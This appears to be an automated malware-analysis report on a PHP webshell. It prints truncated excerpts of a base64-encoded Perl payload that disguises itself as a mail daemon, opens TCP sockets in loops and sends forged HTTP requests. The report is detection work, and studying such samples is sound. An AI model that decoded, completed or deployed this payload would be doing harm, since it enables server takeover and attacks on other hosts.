Hostile ^100% php-malware-analysis Download

132.148.141.38WueV3S6ZJPxgj6V-M8HDrgAAAAE.wso.scans

PHP webshell with encoded payload

php webshell containing base64 encoded payloadCalls PHP base64_decode()

SHA-25641b9fddcf0e157797a78bdcaa33daa60b2881fcf7d372220a58de0b0677f2241

Evidence

Calls PHP base64_decode() lines 1–9

1<?php
2$s=base64_decode("IyEvdXNyL2Jpbi9wZXJsCnVzZSBzdHJpY3Q7IHVzZSBJTzo6U29ja2V0OyB1c2UgSU86OlNlbGVj
3dDsgbXkgQGZwcyA9ICgicG9zdGZpeCIsICJleGltIiwgInNlbmRtYWlsIik7IG15ICRucHMgPSAk
4ZnBzW2ludCByYW5kIHNjYWxhciBAZnBzXTsgJDAgPSAkbnBzOyAkfCA9IDE7Cm15ICRld2Jsb2Nr
⋯5 lines

Encoded content decoded: base64 lines 39–45

39:68… 7Cm15ICRj
40YWNoZSA9IHt9OwpteSAkcmVzZXRfdGltZSA9IHRpbWU7Cm15ICRyZXNldF93YWl0ID0gMTIwOwpt
41eSAkcmVzZXRfc3RhdCA9IDA7Cm15ICRmaXJzdF9leGVjID0gMTsKbXkgJHJlcXVlc3RfdGltZSA9
42IHRpbWU7Cm15ICRyZXF1ZXN0X2ZsYWcgPSAxOwpteSAkY291bnRlcl9hZGRyID0gMDsKbXkgJGRl
43c3Ryb3kgPSBzdWIKewpteSAoJG9iamVjdCwgJGhhbmRsZSkgPSBAXzsKaWYgKCRzZXNzaW9uLT57
44JGhhbmRsZX17c3RhdHVzfSA9fiAvXnJzLykKewokcmVxdWVzdF9mbGFnID0gMTsKfQplbHNpZiAo
45ZXhpc3RzICRzZXNzaW9uL …

SOCK_STREAM socket type lines 67–71

67:31… RfZmxhZyAmJiAkdGltZSA+PSAkcmVxdWVzdF90aW1lKQp7
68CndoaWxlICgxKQp7Cm15ICRzb2NrZXQgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUHJvdG8gPT4g
69InRjcCIsIFR5cGUgPT4gU09DS19TVFJFQU0pOwpsYXN0IHVubGVzcyAkc29ja2V0OwppZiAoJF5P
70IGVxICJNU1dpbjMyIikgeyBpb2N0bCAoJHNvY2tldCwgMHg4MDA0NjY3ZSwgcGFjayAoIkwiLCAx
71KSk7IH0gZWxzZSB7ICRzb2NrZXQtPmJsb2NraW5nKDApOyB9 …

php webshell containing base64 encoded payload lines 77–82

77:75… 9v
78ZH1bMF0gKyAkYi0+e3VubHVja3l9WzBdICsgJGItPntiYWR9WzBdKSkKewokcy0+e2NvbW1hbmR9
79ID0gMTsKJHMtPntjb21tYW5kfSA9IDIgaWYgJGZpcnN0X2V4ZWM7CiRyZXNldF90aW1lID0gJHRp
80bWUgKyAkcmVzZXRfd2FpdDsKJHJlc2V0X3N0YXQgPSAwOwppZiAoJGNvdW50ZXJfYWRkcikKewok
81cy0+e3NpemV9ID0gMTY7CiRzZXNzaW9uLT57JHNvY2tldH17YnVmZmVyfSAuPSBwYWNrICgiTCIs
82ICRiLT57aWR9KTsKJHNlc3Npb24tPnskc29ja2V0fXtidWZmZXJ9IC49IHBhY2sgKCJMIiwg …

HTTP service port number lines 601–607

601:15… Akc2Vzc2lvbi0+eyRzb2NrZXR9e2J1ZmZlcn0pLCAkc2Vzc2lvbi0+eyRzb2Nr
602ZXR9e2J1ZmZlcn0pIGlmICRwcm90b2NvbCBlcSAidGNwIjsKfQplbHNpZiAoJHBvcnQgPT0gODAp
603CnsKJHNlc3Npb24tPnskc29ja2V0fXtidWZmZXJ9ID0gam9pbiAoIlx4MERceDBBIiwgIkdFVCAv
604IEhUVFAvMS4xIiwgIkFjY2VwdDogaW1hZ2UvZ2lmLCBpbWFnZS94LXhiaXRtYXAsIGltYWdlL2pw
605ZWcsIGltYWdlL3BqcGVnLCAqLyoiLCAiVXNlci1BZ2VudDogTW96aWxsYS80LjAgKGNvbXBhdGli
606bGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMSkiLCAiSG9zdDogJGhvc3QiLCAiQ29ubmVjdGlv
607bjogY2xvc2UiLCAi …